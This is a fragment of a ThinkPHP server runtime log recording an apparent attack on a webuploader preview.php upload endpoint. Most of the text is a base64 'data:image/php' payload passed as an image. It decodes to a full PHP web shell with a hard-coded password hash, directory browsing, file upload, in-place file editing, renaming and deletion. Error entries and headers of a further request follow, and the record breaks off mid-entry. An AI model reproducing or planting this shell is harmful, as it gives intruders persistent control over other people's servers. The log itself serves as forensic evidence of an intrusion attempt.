'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:45+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/static/webuploader/0.1.5/server/preview.php [运行时间:0.002501s] [吞吐率:399.84req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 